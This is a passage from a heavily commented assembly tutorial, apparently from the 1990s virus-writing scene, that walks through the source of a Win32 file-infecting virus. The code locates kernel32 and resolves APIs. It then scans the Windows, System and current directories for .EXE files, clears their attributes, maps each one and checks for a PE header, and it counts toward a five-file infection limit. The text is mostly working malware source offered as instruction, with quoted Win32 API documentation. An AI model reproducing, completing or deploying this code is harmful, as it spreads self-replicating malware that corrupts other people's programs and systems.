;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Ok. First of all, i push into the stack all the registers and all the ; ; flags (not because it's needed, just because i like to do it always). ; ; After that, what i do is very important. Yes! It is the delta offset! We ; ; must get it because the reason you must know: we don't know where the ; ; fuck we are executing the code, so with this we can know it easily... I ; ; won't tell you more about delta offset coz i am sure that you know about ; ; it from DOS coding ;) Well, what follows it is the way to obtain exactly ; ; the Image Base of the current process, that is needed for return control ; ; to the host (will be done later). Firstly we substract the bytes between ; ; delta label and aztec label (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), ; ; after that we substract the current EIP (patched at infection time), and ; ; voila! We have the current Image Base. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; mov esi,[esp+24h] ; Get program return address and esi,0FFFF0000h ; Align to 10 pages mov ecx,5 ; 50 pages (in groups of 10) call GetK32 ; Call it mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Well, fisrtly we put in ESI the address from the process was called (it ; ; is in KERNEL32.DLL, probably CreateProcess API), that is initially in da ; ; address pointed by ESP, but as we used the stack for push 24 bytes (20 ; ; used with the PUSHAD, the other 4 by the PUSHFD), we have to fix it. And ; ; after that we align it to 10 pages, making the less significant word of ; ; ESI to be 0. After that we set the other parameter for the GetK32 proce- ; ; dure, ECX, that holds the maximum number of groups of 10 pages to look ; ; for to 5 (that is 5*10=50 pages), and after that we call to the routine. ; ; As it will return us the correct KERNEL32 base address, we store it. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs ; Retrieve all APIs call PrepareInfection call InfectItAll ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Firstly we set up the parameters for the GetAPIs routine, that is in EDI ; ; a pointer to an array of DWORDs that will hold the API addresses, and in ; ; ESI all the API ASCIIz names to search for. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; xchg ebp,ecx ; Is 1st gen? jecxz fakehost popfd ; Restore all flags popad ; Restore all registers mov eax,12345678h org $-4 OldEIP dd 00001000h add eax,12345678h org $-4 ModBase dd 00400000h jmp eax ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Firstly we see if we are in the first generation of the virus, by means ; ; of checking if EBP is equal to zero. If it is, we jump to the first gen. ; ; host. But if it is not, we pull from stack firstly the FLAGs register, ; ; and after all the extended registers. After that we have the instruction ; ; that puts in EAX the old entrypoint that the infected program had (that ; ; is patched at infection time), and after that we add to it the ImageBase ; ; of the current process (patched at runtime). So we go to it! ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; PrepareInfection: lea edi,[ebp+WindowsDir] ; Pointer to the 1st dir push 7Fh ; Push the size of the buffer push edi ; Push address of that buffer call [ebp+_GetWindowsDirectoryA] ; Get windoze dir add edi,7Fh ; Pointer to the 2nd dir push 7Fh ; Push the size of the buffer push edi ; Push address of that buffer call [ebp+_GetSystemDirectoryA] ; Get windoze\system dir add edi,7Fh ; Pointer to the 3rd dir push edi ; Push address of that buffer push 7Fh ; Push the size of the buffer call [ebp+_GetCurrentDirectoryA] ; Get current dir ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Well, this is a simple procedure that is used for obtain all the dirs ; ; where the virus will search for files to infect, and in this particular ; ; order. As the maximum length of a directory are 7F bytes, i've put in ; ; the heap (see below) three consecutive variables, thus avoiding unuseful ; ; code to ocuppy more bytes, and unuseful data to travel with the virus. ; ; Please note that there is not any mistake in the last API, because the ; ; order changes in that API. Let's make a more deep analisys of that APIs: ; ; ; ; The GetWindowsDirectory function retrieves the path of the Windows dir. ; ; The Windows directory contains such files as Windows-based applications, ; ; initialization files, and Help files. ; ; ; ; UINT GetWindowsDirectory( ; ; LPTSTR lpBuffer, // address of buffer for Windows directory ; ; UINT uSize // size of directory buffer ; ; ); ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; þ lpBuffer: Points to the buffer to receive the null-terminated string ; ; containing the path. This path does not end with a backslash unless da ; ; Windows directory is the root directory. For example, if the Windows ; ; directory is named WINDOWS on drive C, the path of the Windows direct- ; ; ory retrieved by this function is C:\WINDOWS. If Windows was installed ; ; in the root directory of drive C, the path retrieved is C:\. ; ; þ uSize: Specifies the maximum size, in characters, of the buffer speci- ; ; fied by the lpBuffer parameter. This value should be set to at least ; ; MAX_PATH to allow sufficient room in the buffer for the path. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value is the length, in chars, of ; ; the string copied to the buffer, not including the terminating null ; ; character. ; ; þ If the length is greater than the size of the buffer, the return value ; ; is the size of the buffer required to hold the path. ; ; ; ; --- ; ; ; ; The GetSystemDirectory function retrieves the path of the Windows system ; ; directory. The system directory contains such files as Windows libraries ; ; drivers, and font files. ; ; ; ; UINT GetSystemDirectory( ; ; LPTSTR lpBuffer, // address of buffer for system directory ; ; UINT uSize // size of directory buffer ; ; ); ; ; ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ lpBuffer: Points to the buffer to receive the null-terminated string ; ; containing the path. This path does not end with a backslash unless da ; ; system directory is the root directory. For example, if the system ; ; directory is named WINDOWS\SYSTEM on drive C, the path of the system ; ; directory retrieved by this function is C:\WINDOWS\SYSTEM. ; ; ; ; þ uSize: Specifies the maximum size of the buffer, in characters. This ; ; value should be set to at least MAX_PATH. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value is the length, in chars, of ; ; the string copied to the buffer, not including the terminating null ; ; character. If the length is greater than the size of the buffer, the ; ; return value is the size of the buffer required to hold the path. ; ; ; ; --- ; ; ; ; The GetCurrentDirectory function retrieves the current directory for the ; ; current process. ; ; ; ; DWORD GetCurrentDirectory( ; ; DWORD nBufferLength, // size in characters, of directory buffer ; ; LPTSTR lpBuffer // address of buffer for current directory ; ; ); ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ nBufferLength: Specifies the length, in characters, of the buffer for ; ; the current directory string. The buffer length must include room for ; ; a terminating null character. ; ; ; ; þ lpBuffer: Points to the buffer for the current directory string. This ; ; null-terminated string specifies the absolute path to the current ; ; directory. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value specifies the number of ; ; characters written to the buffer, not including the terminating null ; ; character. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; InfectItAll: lea edi,[ebp+directories] ; Pointer to 1st directory mov byte ptr [ebp+mirrormirror],03h ; 3 directories requiem: push edi ; Set dir pointed by EDI call [ebp+_SetCurrentDirectoryA] push edi ; Save EDI call Infect ; Infect files in selected dir pop edi ; Restore EDI add edi,7Fh ; Another directory dec byte ptr [ebp+mirrormirror] ; Decrease counter jnz requiem ; Is last? No, let's go again ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; What we do at the beginning is to make EDI to point to the first dir in ; ; the array, and after that we set up the number of directories we want to ; ; infect (dirs2inf=3). Well, after that we have the main loop. It consists ; ; in the following: we change the directory to the current selected dir of ; ; the array, we infect all the wanted files in that directory, and we get ; ; another directory until we completed the 3 we want. Simple, huh? :) Well ; ; it is time to see the characteristics of SetCurrentDirectory API: ; ; ; ; The SetCurrentDirectory function changes the current directory for the ; ; current process. ; ; ; ; BOOL SetCurrentDirectory( ; ; LPCTSTR lpPathName // address of name of new current directory ; ; ); ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ lpPathName: Points to a null-terminated string that specifies the path ; ; to the new current directory. This parameter may be a relative path or ; ; a fully qualified path. In either case, the fully qualified path of ; ; the specified directory is calculated and stored as the current ; ; directory. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value is nonzero. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; Infect: and dword ptr [ebp+infections],00000000h ; reset countah lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure push eax ; Push it lea eax,[ebp+offset EXE_MASK] ; Mask to search for push eax ; Push it call [ebp+_FindFirstFileA] ; Get first matching file inc eax ; CMP EAX,0FFFFFFFFh jz FailInfect ; JZ FAILINFECT dec eax mov dword ptr [ebp+SearchHandle],eax ; Save the Search Handle ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; This is the first part of the routine. The first line is just for clear ; ; the infection counter (ie set it to 0) in a more optimized way (AND in ; ; this example is smaller than MOV). Well, having the infection counter ; ; already reseted, it's time to search for files to infect ;) Ok, in DOS ; ; we had INT 21h's services 4Eh/4Fh... Here in Win32 we have 2 equivalent ; ; APIs: FindFirstFile and FindNextFile. Now we want to search for the 1st ; ; file in the directory. All the functions for find files in Win32 have in ; ; common a structure (do you remember DTA?) called WIN32_FIND_DATA (many ; ; times shortened to WFD). Let's see the structure fields: ; ; ; ; MAX_PATH equ 260 <-- The maximum size of a path ; ; ; ; FILETIME STRUC <-- Struture for handle the time, ; ; FT_dwLowDateTime dd ? present in many Win32 strucs ; ; FT_dwHighDateTime dd ? ; ; FILETIME ENDS ; ; ; ; WIN32_FIND_DATA STRUC ; ; WFD_dwFileAttributes dd ? <-- Contains the file attributtes ; ; WFD_ftCreationTime FILETIME ? <-- Moment when da file was created ; ; WFD_ftLastAccessTime FILETIME ? <-- Last time when file was accessed; ; WFD_ftLastWriteTime FILETIME ? <-- Last time when file was written ; ; WFD_nFileSizeHigh dd ? <-- MSD of file size ; ; WFD_nFileSizeLow dd ? <-- LSD of file size ; ; WFD_dwReserved0 dd ? <-- Reserved ; ; WFD_dwReserved1 dd ? <-- Reserved ; ; WFD_szFileName db MAX_PATH dup (?) <-- ASCIIz file name ; ; WFD_szAlternateFileName db 13 dup (?) <-- File name without path ; ; db 03 dup (?) <-- Padding ; ; WIN32_FIND_DATA ENDS ; ; ; ; þ dwFileAttributes: Specifies the file attributes of the file found. ; ; This member can be one or more of the following values [Not enough ; ; space for include them here:you have them at 29A INC files (29A#2) and ; ; the document said before.] ; ; ; ; þ ftCreationTime: Specifies a FILETIME structure containing the time the ; ; file was created. FindFirstFile and FindNextFile report file times in ; ; Coordinated Universal Time (UTC) format. These functions set the ; ; FILETIME members to zero if the file system containing the file does ; ; not support this time member. You can use the FileTimeToLocalFileTime ; ; function to convert from UTC to local time, and then use the ; ; FileTimeToSystemTime function to convert da local time to a SYSTEMTIME ; ; structure containing individual members for the month, day, year, ; ; weekday, hour, minute, second, and millisecond. ; ; ; ; þ ftLastAccessTime: Specifies a FILETIME structure containing the time ; ; that the file was last accessed.The time is in UTC format;the FILETIME ; ; members are zero if the file system does not support this time member. ; ; ; ; þ ftLastWriteTime: Specifies a FILETIME structure containing the time ; ; that da file was last written to.Da time is in UTC format;the FILETIME ; ; members are zero if the file system does not support this time member. ; ; ; ; þ nFileSizeHigh: Specifies the high-order DWORD value of the file size, ; ; in bytes. This value is zero unless the file size is greater than ; ; MAXDWORD. The size of the file is equal to (nFileSizeHigh * MAXDWORD) ; ; + nFileSizeLow. ; ; ; ; þ nFileSizeLow: Specifies the low-order DWORD value of the file size, in ; ; bytes. ; ; ; ; þ dwReserved0: Reserved for future use. ; ; ; ; þ dwReserved1: Reserved for future use. ; ; ; ; þ cFileName: A null-terminated string that is the name of the file. ; ; ; ; þ cAlternateFileName: A null-terminated string that is an alternative ; ; name for the file.This name is in the classic 8.3 (filename.ext) file- ; ; name format. ; ; ; ; Well, as we know now the fields of the WFD structure, we can take a deep ; ; look to "Find" functions of Windows. First, let's see the description of ; ; the API FindFirstFileA: ; ; ; ; The FindFirstFile function searches a directory for a file whose name ; ; matches the specified filename.FindFirstFile examines subdirectory names ; ; as well as filenames. ; ; ; ; HANDLE FindFirstFile( ; ; LPCTSTR lpFileName, // pointer to name of file to search for ; ; LPWIN32_FIND_DATA lpFindFileData // pointer to returned information ; ; ); ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ lpFileName: A. Windows 95: Points to a null-terminated string that ; ; specifies a valid directory or path and filename, which ; ; can contain wildcard characters (* and ?). This string ; ; must not exceed MAX_PATH characters. ; ; B. Windows NT: Points to a null-terminated string that ; ; specifies a valid directory or path and filename, which ; ; can contain wildcard characters (* and ?). ; ; ; ; There is a default string size limit for paths of MAX_PATH characters. ; ; This limit is related to how the FindFirstFile function parses paths. ; ; An application can transcend this limit and send in paths longer than ; ; MAX_PATH characters by calling the wide (W) version of FindFirstFile and ; ; prepending "\\?\" to the path.The "\\?\" tells the function to turn off ; ; path parsing; it lets paths longer than MAX_PATH be used with ; ; FindFirstFileW. This also works with UNC names. The "\\?\" is ignored as ; ; part of the path. For example "\\?\C:\myworld\private" is seen as ; ; "C:\myworld\private", and "\\?\UNC\bill_g_1\hotstuff\coolapps"is seen as ; ; "\\bill_g_1\hotstuff\coolapps" ; ; ; ; þ lpFindFileData: Points to the WIN32_FIND_DATA structure that receives ; ; information about the found file or subdirectory. The structure can be ; ; used in subsequent calls to the FindNextFile or FindClose function to ; ; refer to the file or subdirectory. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds,the return value is a search handle used in a ; ; subsequent call to FindNextFile or FindClose. ; ; ; ; þ If the function fails, the return value is INVALID_HANDLE_VALUE.To get ; ; extended error information, call GetLastError. ; ; ; ; So, now you know the meaning of all the parameters of FindFirstFile fun- ; ; ction. And, by the way, you know now the last lines of the below code ; ; block :) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; __1: push dword ptr [ebp+OldEIP] ; Save OldEIP and ModBase, push dword ptr [ebp+ModBase] ; changed on infection call Infection ; Infect found file pop dword ptr [ebp+ModBase] ; Restore them pop dword ptr [ebp+OldEIP] inc byte ptr [ebp+infections] ; Increase counter cmp byte ptr [ebp+infections],05h ; Over our limit? jz FailInfect ; Damn... ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; The first thing we do is to preserve the contents of some necessary var- ; ; iables that will be used laterly when we will return control to host,but ; ; painfully these variables are changed when infecting files. We call to ; ; the infection routine: it only needs the WFD information, so we don't ; ; need to pass parameters to it. After infect the corresponding files, we ; ; put the values modified back. And after doing that, we increase the inf- ; ; ection counter, and check if we have already infected 5 files (limit of ; ; infections of this virus). If we have done such like thing, the virus ; ; exits from the infection procedure. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; __2: lea edi,[ebp+WFD_szFileName] ; Ptr to file name mov ecx,MAX_PATH ; ECX = 260 xor al,al ; AL = 00 rep stosb ; Clear old filename variable lea eax,[ebp+offset WIN32_FIND_DATA] ; Ptr to WFD push eax ; Push it push dword ptr [ebp+SearchHandle] ; Push Search Handle call [ebp+_FindNextFileA] ; Find another file or eax,eax ; Fail? jnz __1 ; Not, Infect another CloseSearchHandle: push dword ptr [ebp+SearchHandle] ; Push search handle call [ebp+_FindClose] ; And close it FailInfect: ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; The first block of code does a simple thing: it erases the data on the ; ; WFD structure (concretly the file name data). This is done for avoid ; ; problems while finding another file. The next we do is a call to the ; ; FindNextFile API. Here goes the description of such API: ; ; ; ; The FindNextFile function continues a file search from a previous call ; ; to the FindFirstFile function. ; ; ; ; BOOL FindNextFile( ; ; HANDLE hFindFile, // handle to search ; ; LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data ; ; // on found file ; ; ); ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ hFindFile: Identifies a search handle returned by a previous call to ; ; the FindFirstFile function. ; ; ; ; þ lpFindFileData: Points to the WIN32_FIND_DATA structure that receives ; ; information about the found file or subdirectory. The structure can be ; ; used in subsequent calls to FindNextFile to refer to the found file or ; ; directory. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value is nonzero. ; ; ; ; þ If the function fails, the return value is zero. To get extended error ; ; information, call GetLastError ; ; ; ; þ If no matching files can be found, the GetLastError function returns ; ; ERROR_NO_MORE_FILES. ; ; ; ; If the FindNextFile returned error, or if the virus has reached the max- ; ; imum number of infections possible,we arrive to the last routine of this ; ; block. It consist in closing the search handle with the FindClose API. ; ; As usual, here comes the description of such API: ; ; ; ; The FindClose function closes the specified search handle. The ; ; FindFirstFile and FindNextFile functions use the search handle to locate ; ; files with names that match a given name. ; ; ; ; BOOL FindClose( ; ; HANDLE hFindFile // file search handle ; ; ); ; ; ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ hFindFile: Identifies the search handle. This handle must have been ; ; previously opened by the FindFirstFile function. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value is nonzero. ; ; ; ; þ If the function fails, the return value is zero. To get extended error ; ; information, call GetLastError ; ; ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; Infection: lea esi,[ebp+WFD_szFileName] ; Get FileName to infect push 80h push esi call [ebp+_SetFileAttributesA] ; Wipe its attributes call OpenFile ; Open it inc eax ; If EAX = -1, there was an jz CantOpen ; error dec eax mov dword ptr [ebp+FileHandle],eax ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; The first we do is to wipeout the file attributes, and setting them to ; ; "Normal file". This is done by the SetFileAttributes API. Here you have ; ; a brief explanation of that API: ; ; ; ; The SetFileAttributes function sets a file's attributes. ; ; ; ; BOOL SetFileAttributes( ; ; LPCTSTR lpFileName, // address of filename ; ; DWORD dwFileAttributes // address of attributes to set ; ; ); ; ; ; ; Parameters ; ; ÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ lpFileName: Points to a string that specifies da name of da file whose ; ; attributes are to be set. ; ; ; ; þ dwFileAttributes: Specifies da file attributes to set for da file.This ; ; parameter can be a combination of the following values. However, all ; ; other values override FILE_ATTRIBUTE_NORMAL. ; ; ; ; Return Values ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; þ If the function succeeds, the return value is nonzero. ; ; ; ; þ If the function fails, the return value is zero. To get extended error ; ; information, call GetLastError ; ; ; ; After set the new attributes, we open the file, and, if no error happe- ; ; ned, it stores the handle in its variable. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with call CreateMap ; its exact size or eax,eax jz CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Map it or eax,eax jz UnMapFile mov dword ptr [ebp+MapAddress],eax ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; First we put in ECX the size of the file we are going to map, and then ; ; we call to our function for map it. We check for a possible error with ; ; it, and if there wasn't an error, we continue, otherwise, we close the ; ; file. Then we store the mapping handle, and we prepare to finally map it ; ; with our MapFile function. As before, we check for an error and act in ; ; consequence. If all was ok, we store the address where the mapping is ; ; effective. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Is it PE?